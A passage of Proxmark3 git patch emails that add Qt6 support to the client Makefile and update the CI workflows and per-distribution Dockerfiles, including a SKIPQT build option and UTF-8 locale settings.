-- Fix `hf mfdes value --op clear` commands for clearing more than 0x80000000 values and getfilesettings mac mode (@merlokk) +- Fixed `hf mfdes value --op clear` commands for clearing more than 0x80000000 values and getfilesettings mac mode (@merlokk) - Added ATR fingerprinting to `hf 14a/14b info` (@doegox) - Added `Verkada 40-bit` format (@aaronmaxlevy) - Added `hf seos write` command (@aaronjamt) - Added `hf seos sim` command (@aaronjamt) -- Fix `hf mf staticnested` faild to find a KeyB (@xianglin1998) -- Fix errors(jansson) for MSYS2+UCRT compiler (@xianglin1998) +- Fixed `hf mf staticnested` faild to find a KeyB (@xianglin1998) +- Fixed errors(jansson) for MSYS2+UCRT compiler (@xianglin1998) - Added Kaba evolo AIDs (@xtruan) ## [Phrack.4.20728][2025-09-11] From 06446cae10c1851029e0bf00b09cdd6d1573b8e1 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 26 Feb 2026 18:11:52 +0100 Subject: [PATCH 008/162] Qt6 support for the client. Step 1: Makefile --- CHANGELOG.md | 1 + client/Makefile | 54 ++++++++++++++++++++++++++----------------------- 2 files changed, 30 insertions(+), 25 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 17d05d0f3..e2229afb6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added Qt6 support for the client. Step 1: Makefile (@doegox) ## [Permafrost.4.21128][2026-02-25] - Added standalone mode `HF_DOEGOX_AUTH0`: UL-C / UL-AES unlocker (@doegox) diff --git a/client/Makefile b/client/Makefile index b305e9e09..c141ba1e5 100644 --- a/client/Makefile +++ b/client/Makefile @@ -316,36 +316,37 @@ endif LDLIBS += $(PYTHONLIBLD) PM3INCLUDES += $(PYTHONLIBINC) -## QT5 (or QT4 fallback) (optional) +## QT6 (or QT5 fallback) (optional) ifneq ($(SKIPQT),1) - # Check for correctly configured Qt5 - QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags Qt5Core Qt5Widgets 2>/dev/null) - QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs Qt5Core Qt5Widgets 2>/dev/null) - MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core)/moc - UIC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core)/uic - QMAKE = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core)/qmake + # Check for correctly configured Qt6 + QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags Qt6Core Qt6Widgets 2>/dev/null) + QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs Qt6Core Qt6Widgets 2>/dev/null) + MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core)/moc + UIC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core)/uic + QMAKE = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=bindir Qt6Core)/qmake ifneq ($(QTLDLIBS),) - QT5_FOUND = 1 + QT6_FOUND = 1 else - # if Qt5 not found check for correctly configured Qt4 - QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags QtCore QtGui 2>/dev/null) - QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs QtCore QtGui 2>/dev/null) - MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=moc_location QtCore) - UIC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=uic_location QtCore) - QMAKE = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=exec_prefix QtCore)/bin/qmake + # if Qt6 not found check for correctly configured Qt5 + QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags Qt5Core Qt5Widgets 2>/dev/null) + QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs Qt5Core Qt5Widgets 2>/dev/null) + MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core)/moc + UIC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core)/uic + QMAKE = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=host_bins Qt5Core)/qmake endif ifeq ($(QTLDLIBS),) # if both pkg-config commands failed, search in common places + # TODO: to be checked on OSX... ifneq ($(QTDIR),) - ifneq ($(wildcard $(QTDIR)/include/QtWidgets),) + ifneq ($(wildcard $(QTDIR)/lib/libQt6Core),) + # QT6 + QTINCLUDES = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui -I$(QTDIR)/include/QtWidgets + QTLDLIBS = -L$(QTDIR)/lib -lQt6Core -lQt6Gui -lQt6Widgets + QT6_FOUND = 1 + else # QT5 QTINCLUDES = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui -I$(QTDIR)/include/QtWidgets QTLDLIBS = -L$(QTDIR)/lib -lQt5Core -lQt5Gui -lQt5Widgets - QT5_FOUND = 1 - else - # QT4 - QTINCLUDES = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui - QTLDLIBS = -L$(QTDIR)/lib -lQtCore4 -lQtGui4 endif MOC = $(QTDIR)/bin/moc UIC = $(QTDIR)/bin/uic @@ -471,8 +472,11 @@ PM3CXXFLAGS += -I../include -I./include ifeq ($(QT_FOUND),1) PM3CFLAGS += -DHAVE_GUI PM3CXXFLAGS += -DQT_NO_DEBUG - ifeq ($(QT5_FOUND),1) - # On OSX Qt5 is claiming for a C++11 compiler (gnu++14 works too, but if nothing it fails) + ifeq ($(QT6_FOUND),1) + # Qt6 is claiming for a C++17 compiler + PM3CXXFLAGS += -fPIC -std=c++17 + else + # On OSX Qt6 is claiming for a C++11 compiler (gnu++14 works too, but if nothing it fails) PM3CXXFLAGS += -fPIC -std=c++11 endif endif @@ -505,10 +509,10 @@ ifeq ($(SKIPQT),1) $(info GUI support: skipped) else ifeq ($(QT_FOUND),1) - ifeq ($(QT5_FOUND),1) - $(info GUI support: QT5 found, enabled ($(shell QT_SELECT=5 $(QMAKE) -v 2>/dev/null|grep -o 'Qt version.*'))) + ifeq ($(QT6_FOUND),1) + $(info GUI support: QT6 found, enabled ($(shell QT_SELECT=6 $(QMAKE) -v 2>/dev/null|grep -o 'Qt version.*'))) else - $(info GUI support: QT4 found, enabled ($(shell QT_SELECT=4 $(QMAKE) -v 2>/dev/null|grep -o 'Qt version.*'))) + $(info GUI support: QT5 found, enabled ($(shell QT_SELECT=5 $(QMAKE) -v 2>/dev/null|grep -o 'Qt version.*'))) endif else $(info GUI support: QT not found, disabled) From 3f20408b7553de79bc53dff36480927d6223cc74 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 26 Feb 2026 18:32:59 +0100 Subject: [PATCH 009/162] upgrading CI to test Qt6 with makefile --- .github/workflows/macos.yml | 4 ++-- .github/workflows/ubuntu.yml | 4 ++-- .github/workflows/windows.yml | 1 + doc/md/Development/Makefile-vs-CMake.md | 2 +- 4 files changed, 6 insertions(+), 5 deletions(-) diff --git a/.github/workflows/macos.yml b/.github/workflows/macos.yml index 4b93adfee..fb16ee874 100644 --- a/.github/workflows/macos.yml +++ b/.github/workflows/macos.yml @@ -39,7 +39,7 @@ jobs: run: brew tap RfidResearchGroup/proxmark3 - name: Install dependencies - run: brew install readline coreutils qt@5 RfidResearchGroup/proxmark3/arm-none-eabi-gcc openssl gd + run: brew install readline coreutils qt RfidResearchGroup/proxmark3/arm-none-eabi-gcc openssl gd continue-on-error: true - name: Install Python dependencies @@ -80,7 +80,7 @@ jobs: run: brew tap RfidResearchGroup/proxmark3 - name: Install dependencies - run: brew install readline coreutils qt@5 RfidResearchGroup/proxmark3/arm-none-eabi-gcc openssl gd + run: brew install readline coreutils qt RfidResearchGroup/proxmark3/arm-none-eabi-gcc openssl gd continue-on-error: true - name: Install Python dependencies diff --git a/.github/workflows/ubuntu.yml b/.github/workflows/ubuntu.yml index cee57b83a..261cb693c 100644 --- a/.github/workflows/ubuntu.yml +++ b/.github/workflows/ubuntu.yml @@ -30,7 +30,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt @@ -60,7 +60,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index a9b052c01..b6bd75df7 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -111,6 +111,7 @@ jobs: libnewlib-dev libbz2-dev liblz4-dev + qt6-base-dev qtbase5-dev cmake libpython3-dev diff --git a/doc/md/Development/Makefile-vs-CMake.md b/doc/md/Development/Makefile-vs-CMake.md index b561ef2d2..e052321a4 100644 --- a/doc/md/Development/Makefile-vs-CMake.md +++ b/doc/md/Development/Makefile-vs-CMake.md @@ -71,7 +71,7 @@ At the moment both are maintained because they don't perfectly overlap yet. | pthread detection | **none** | **none** (1) | (1) cf https://stackoverflow.com/questions/1620918/cmake-and-libpthread ? | | `SKIPPTHREAD` | yes | yes | e.g. for termux | | dep Qt | opt, sys, Qt5 & Qt4 | opt, sys, Qt5 | | -| Qt detection | pc(qt5)/pc(qt4)/`QTDIR`(1) (2) | find_package(qt5) (3) | (1) if `QTDIR`: hardcode path (2) OSX: pkg-config hook for Brew (3) OSX: add search path| +| Qt detection | pc(qt6)/pc(qt5)/`QTDIR`(1) (2) | find_package(qt5) (3) | (1) if `QTDIR`: hardcode path (2) OSX: pkg-config hook for Brew (3) OSX: add search path| | `SKIPQT` | yes | yes | | | dep readline | sys | sys | | | readline detection | **none** (1) | find*(2), Cross:getzip | (1) OSX: hardcoded path (2) additional paths for OSX | From 9323db291da8d2dc4b8fe59abe1c52e9dc445e81 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 26 Feb 2026 18:58:41 +0100 Subject: [PATCH 010/162] qt6: some CI & docker tuning --- .github/workflows/ubuntu.yml | 4 ++-- docker/build.sh | 4 ++++ docker/debian-13-trixie/Dockerfile | 7 ++++++- docker/debian-13-trixie/docker_conf.inc | 1 + 4 files changed, 13 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ubuntu.yml b/.github/workflows/ubuntu.yml index 261cb693c..bb94775bb 100644 --- a/.github/workflows/ubuntu.yml +++ b/.github/workflows/ubuntu.yml @@ -30,7 +30,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev qmake6-bin libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt @@ -60,7 +60,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev qmake6-bin libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt diff --git a/docker/build.sh b/docker/build.sh index 499100942..9fd6e4bac 100755 --- a/docker/build.sh +++ b/docker/build.sh @@ -14,6 +14,10 @@ else BUILDARG="" fi +if [ -n "$SKIPQT" ]; then + BUILDARG="$BUILDARG --build-arg SKIPQT=$SKIPQT" +fi + # For cross-platform support: # cf https://github.com/multiarch/qemu-user-static #sudo apt install qemu-user-static diff --git a/docker/debian-13-trixie/Dockerfile b/docker/debian-13-trixie/Dockerfile index 38513db23..5047c6679 100644 --- a/docker/debian-13-trixie/Dockerfile +++ b/docker/debian-13-trixie/Dockerfile @@ -2,7 +2,6 @@ FROM debian:trixie-slim ENV LANG=C ENV DEBIAN_FRONTEND=noninteractive -# qtbase5-dev skipped RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ @@ -12,6 +11,12 @@ RUN apt-get update && \ RUN apt-get install -y opencl-dev && \ apt-get clean +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + apt-get install -y qt6-base-dev qmake6-bin && \ + apt-get clean; \ + fi + # uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ diff --git a/docker/debian-13-trixie/docker_conf.inc b/docker/debian-13-trixie/docker_conf.inc index 481a94e9f..5e7d4dc09 100644 --- a/docker/debian-13-trixie/docker_conf.inc +++ b/docker/debian-13-trixie/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-debian-trixie:1.0 +SKIPQT=1 From 601bdc371a59a06733b8cf999237c148aa81d063 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 26 Feb 2026 20:37:45 +0100 Subject: [PATCH 011/162] more CI & docker tuning --- .github/workflows/ubuntu.yml | 4 ++-- docker/archlinux/Dockerfile | 2 +- docker/build.sh | 6 +++--- docker/debian-13-trixie-arm64/Dockerfile | 2 +- docker/debian-13-trixie-armhf/Dockerfile | 2 +- docker/debian-13-trixie/Dockerfile | 14 +++++++------- docker/debian-13-trixie/docker_conf.inc | 2 +- docker/debian-14-forky/Dockerfile | 8 +++++++- docker/debian-14-forky/docker_conf.inc | 1 + docker/fedora-41/Dockerfile | 2 +- docker/fedora-42/Dockerfile | 2 +- docker/fedora-43/Dockerfile | 2 +- docker/homebrew/Dockerfile | 2 +- docker/kali/Dockerfile | 8 +++++++- docker/kali/docker_conf.inc | 1 + docker/opensuse-leap/Dockerfile | 2 +- docker/opensuse-tumbleweed/Dockerfile | 2 +- docker/parrot-core-latest/Dockerfile | 8 +++++++- docker/parrot-core-latest/docker_conf.inc | 1 + docker/rm.sh | 1 + docker/ubuntu-24.04/Dockerfile | 20 +++++++++++++------- docker/ubuntu-24.04/docker_conf.inc | 1 + docker/ubuntu-25.04/Dockerfile | 20 +++++++++++++------- docker/ubuntu-25.04/docker_conf.inc | 1 + docker/ubuntu-25.10/Dockerfile | 14 ++++++++++---- docker/ubuntu-25.10/docker_conf.inc | 1 + tools/pm3_online_tests.sh | 2 +- tools/pm3_tests.sh | 2 +- 28 files changed, 88 insertions(+), 45 deletions(-) diff --git a/.github/workflows/ubuntu.yml b/.github/workflows/ubuntu.yml index bb94775bb..261cb693c 100644 --- a/.github/workflows/ubuntu.yml +++ b/.github/workflows/ubuntu.yml @@ -30,7 +30,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev qmake6-bin libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt @@ -60,7 +60,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev qmake6-bin libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt diff --git a/docker/archlinux/Dockerfile b/docker/archlinux/Dockerfile index caaa2bc89..db30f971f 100644 --- a/docker/archlinux/Dockerfile +++ b/docker/archlinux/Dockerfile @@ -1,6 +1,6 @@ FROM archlinux:base -ENV LANG=C +ENV LANG=C.UTF-8 RUN pacman -Syu --noconfirm RUN pacman-db-upgrade # qt5-base skipped diff --git a/docker/build.sh b/docker/build.sh index 9fd6e4bac..a0ca236c1 100755 --- a/docker/build.sh +++ b/docker/build.sh @@ -5,13 +5,13 @@ if [ ! -e docker_conf.inc ]; then exit 1 fi . docker_conf.inc +BUILDARG="${BUILDARG:-""}" + # Make sure to connect a Proxmark3 when building if you want to be able to access it from within the Docker instance UART_PORT="$(../../pm3 --list|grep /dev|head -n1|cut -d' ' -f2)" if [ -n "$UART_PORT" ]; then UART_GID="$(stat -c '%g' $UART_PORT)" - BUILDARG="--build-arg UART_GID=$UART_GID" -else - BUILDARG="" + BUILDARG="$BUILDARG --build-arg UART_GID=$UART_GID" fi if [ -n "$SKIPQT" ]; then diff --git a/docker/debian-13-trixie-arm64/Dockerfile b/docker/debian-13-trixie-arm64/Dockerfile index e65dd9fab..021596859 100644 --- a/docker/debian-13-trixie-arm64/Dockerfile +++ b/docker/debian-13-trixie-arm64/Dockerfile @@ -1,6 +1,6 @@ FROM arm64v8/debian:trixie-slim -ENV LANG=C +ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive # qtbase5-dev skipped RUN apt-get update && \ diff --git a/docker/debian-13-trixie-armhf/Dockerfile b/docker/debian-13-trixie-armhf/Dockerfile index a69bdec5c..81c9b1319 100644 --- a/docker/debian-13-trixie-armhf/Dockerfile +++ b/docker/debian-13-trixie-armhf/Dockerfile @@ -1,6 +1,6 @@ FROM arm32v7/debian:trixie-slim -ENV LANG=C +ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive # qtbase5-dev skipped RUN apt-get update && \ diff --git a/docker/debian-13-trixie/Dockerfile b/docker/debian-13-trixie/Dockerfile index 5047c6679..1bb7733d0 100644 --- a/docker/debian-13-trixie/Dockerfile +++ b/docker/debian-13-trixie/Dockerfile @@ -1,6 +1,6 @@ FROM debian:trixie-slim -ENV LANG=C +ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get upgrade -y && \ @@ -13,9 +13,9 @@ RUN apt-get install -y opencl-dev && \ ARG SKIPQT=false RUN if [ "${SKIPQT}" = "false" ]; then \ - apt-get install -y qt6-base-dev qmake6-bin && \ - apt-get clean; \ - fi + apt-get install -y qt6-base-dev && \ + apt-get clean; \ + fi # uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ @@ -26,9 +26,9 @@ RUN passwd -d rrg ARG UART_GID # dialout group may already exist on another numeric ID than on host RUN if [ -n "${UART_GID}" ]; then \ - groupadd -g ${UART_GID} mydialout || true; \ - usermod -aG ${UART_GID} rrg; \ - fi + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/debian-13-trixie/docker_conf.inc b/docker/debian-13-trixie/docker_conf.inc index 5e7d4dc09..d4e88960e 100644 --- a/docker/debian-13-trixie/docker_conf.inc +++ b/docker/debian-13-trixie/docker_conf.inc @@ -1,2 +1,2 @@ DOCKER_IMAGE=pm3-debian-trixie:1.0 -SKIPQT=1 +#SKIPQT=1 diff --git a/docker/debian-14-forky/Dockerfile b/docker/debian-14-forky/Dockerfile index cda4babaa..3f9f3b986 100644 --- a/docker/debian-14-forky/Dockerfile +++ b/docker/debian-14-forky/Dockerfile @@ -1,6 +1,6 @@ FROM debian:forky-slim -ENV LANG=C +ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive # qtbase5-dev skipped RUN apt-get update && \ @@ -12,6 +12,12 @@ RUN apt-get update && \ RUN apt-get install -y opencl-dev && \ apt-get clean +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + apt-get install -y qt6-base-dev && \ + apt-get clean; \ + fi + # uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ diff --git a/docker/debian-14-forky/docker_conf.inc b/docker/debian-14-forky/docker_conf.inc index 3b90349a0..54eeee843 100644 --- a/docker/debian-14-forky/docker_conf.inc +++ b/docker/debian-14-forky/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-debian-forky:1.0 +#SKIPQT=1 diff --git a/docker/fedora-41/Dockerfile b/docker/fedora-41/Dockerfile index c64b5646f..0612b5d3e 100644 --- a/docker/fedora-41/Dockerfile +++ b/docker/fedora-41/Dockerfile @@ -1,6 +1,6 @@ FROM fedora:41 -ENV LANG=C +ENV LANG=C.UTF-8 # qt5-qtbase-devel skipped RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils diff --git a/docker/fedora-42/Dockerfile b/docker/fedora-42/Dockerfile index 75516752c..581cc24e0 100644 --- a/docker/fedora-42/Dockerfile +++ b/docker/fedora-42/Dockerfile @@ -1,6 +1,6 @@ FROM fedora:42 -ENV LANG=C +ENV LANG=C.UTF-8 # qt5-qtbase-devel skipped RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils diff --git a/docker/fedora-43/Dockerfile b/docker/fedora-43/Dockerfile index 43995fe51..73223cbfd 100644 --- a/docker/fedora-43/Dockerfile +++ b/docker/fedora-43/Dockerfile @@ -1,6 +1,6 @@ FROM fedora:rawhide -ENV LANG=C +ENV LANG=C.UTF-8 # qt5-qtbase-devel skipped RUN dnf install -y passwd sudo git make cmake gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel bzip2-devel lz4-devel bluez-libs-devel python3-devel openssl-devel gd-devel libatomic findutils diff --git a/docker/homebrew/Dockerfile b/docker/homebrew/Dockerfile index d4893d154..d11abd604 100644 --- a/docker/homebrew/Dockerfile +++ b/docker/homebrew/Dockerfile @@ -1,6 +1,6 @@ FROM homebrew/brew -ENV LANG=C +ENV LANG=C.UTF-8 ARG UART_GID # dialout group may already exist on another numeric ID than on host diff --git a/docker/kali/Dockerfile b/docker/kali/Dockerfile index c81861a1f..4b80bf549 100644 --- a/docker/kali/Dockerfile +++ b/docker/kali/Dockerfile @@ -1,6 +1,6 @@ FROM kalilinux/kali-rolling -ENV LANG=C +ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive # qtbase5-dev skipped RUN apt-get update && \ @@ -12,6 +12,12 @@ RUN apt-get update && \ RUN apt-get install -y opencl-dev && \ apt-get clean +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + apt-get install -y qt6-base-dev && \ + apt-get clean; \ + fi + # uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ diff --git a/docker/kali/docker_conf.inc b/docker/kali/docker_conf.inc index 62f57876b..57373f155 100644 --- a/docker/kali/docker_conf.inc +++ b/docker/kali/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-kali:1.0 +#SKIPQT=1 diff --git a/docker/opensuse-leap/Dockerfile b/docker/opensuse-leap/Dockerfile index 7a86b5503..bed05c810 100644 --- a/docker/opensuse-leap/Dockerfile +++ b/docker/opensuse-leap/Dockerfile @@ -1,6 +1,6 @@ FROM opensuse/leap -ENV LANG=C +ENV LANG=C.UTF-8 # libqt5-qtbase-devel skipped RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel gd-devel diff --git a/docker/opensuse-tumbleweed/Dockerfile b/docker/opensuse-tumbleweed/Dockerfile index 5c18adbec..9bdfdc051 100644 --- a/docker/opensuse-tumbleweed/Dockerfile +++ b/docker/opensuse-tumbleweed/Dockerfile @@ -1,6 +1,6 @@ FROM opensuse/tumbleweed -ENV LANG=C +ENV LANG=C.UTF-8 # libqt5-qtbase-devel skipped RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis cmake gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel cross-arm-none-gcc15 cross-arm-none-newlib-devel gd-devel diff --git a/docker/parrot-core-latest/Dockerfile b/docker/parrot-core-latest/Dockerfile index 29faa61ae..25397f60a 100644 --- a/docker/parrot-core-latest/Dockerfile +++ b/docker/parrot-core-latest/Dockerfile @@ -1,6 +1,6 @@ FROM parrotsec/core:latest -ENV LANG=C +ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive # qtbase5-dev skipped RUN apt-get update && \ @@ -12,6 +12,12 @@ RUN apt-get update && \ RUN apt-get install -y opencl-dev && \ apt-get clean +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + apt-get install -y qt6-base-dev && \ + apt-get clean; \ + fi + # uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ diff --git a/docker/parrot-core-latest/docker_conf.inc b/docker/parrot-core-latest/docker_conf.inc index 6410849ad..c1fa70a3b 100644 --- a/docker/parrot-core-latest/docker_conf.inc +++ b/docker/parrot-core-latest/docker_conf.inc @@ -1 +1,2 @@ DOCKER_IMAGE=pm3-parrotsec-core-latest:1.0 +#SKIPQT=1 diff --git a/docker/rm.sh b/docker/rm.sh index 72aab077b..de48f45e4 100755 --- a/docker/rm.sh +++ b/docker/rm.sh @@ -10,3 +10,4 @@ if [ -n "$CONTAINER" ]; then docker rm $CONTAINER fi docker image rm "$DOCKER_IMAGE" +docker builder prune --force diff --git a/docker/ubuntu-24.04/Dockerfile b/docker/ubuntu-24.04/Dockerfile index de35f65f3..7ac58bf7d 100644 --- a/docker/ubuntu-24.04/Dockerfile +++ b/docker/ubuntu-24.04/Dockerfile @@ -1,8 +1,8 @@ FROM ubuntu:24.04 -ENV LANG=C +ENV LANG=C.UTF-8 ENV DEBIAN_FRONTEND=noninteractive -# qtbase5-dev skipped + RUN apt-get update && \ apt-get upgrade -y && \ apt-get dist-upgrade -y && \ @@ -12,20 +12,26 @@ RUN apt-get update && \ RUN apt-get install -y opencl-dev && \ apt-get clean +ARG SKIPQT=false +RUN if [ "${SKIPQT}" = "false" ]; then \ + apt-get install -y qt6-base-dev && \ + apt-get clean; \ + fi + # uv COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ # Create rrg user => there is already a ubuntu user = 1000 that we need to move away -RUN usermod -u 999 ubuntu -RUN groupmod -g 999 ubuntu +RUN usermod -u 900 ubuntu +RUN groupmod -g 900 ubuntu RUN useradd -ms /bin/bash rrg RUN passwd -d rrg ARG UART_GID # dialout group may already exist on another numeric ID than on host RUN if [ -n "${UART_GID}" ]; then \ - groupadd -g ${UART_GID} mydialout || true; \ - usermod -aG ${UART_GID} rrg; \ - fi + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/ubuntu-24.04/docker_conf.inc b/docker/ubuntu-24.04/docker_conf.inc index 38c37aff7..78b2c6e76 100644 --- a/docker/ubuntu-24.04/docker_conf.inc +++ b/docker/ubuntu-24.04/docker_conf.inc @@ -1 +1,2 @@ 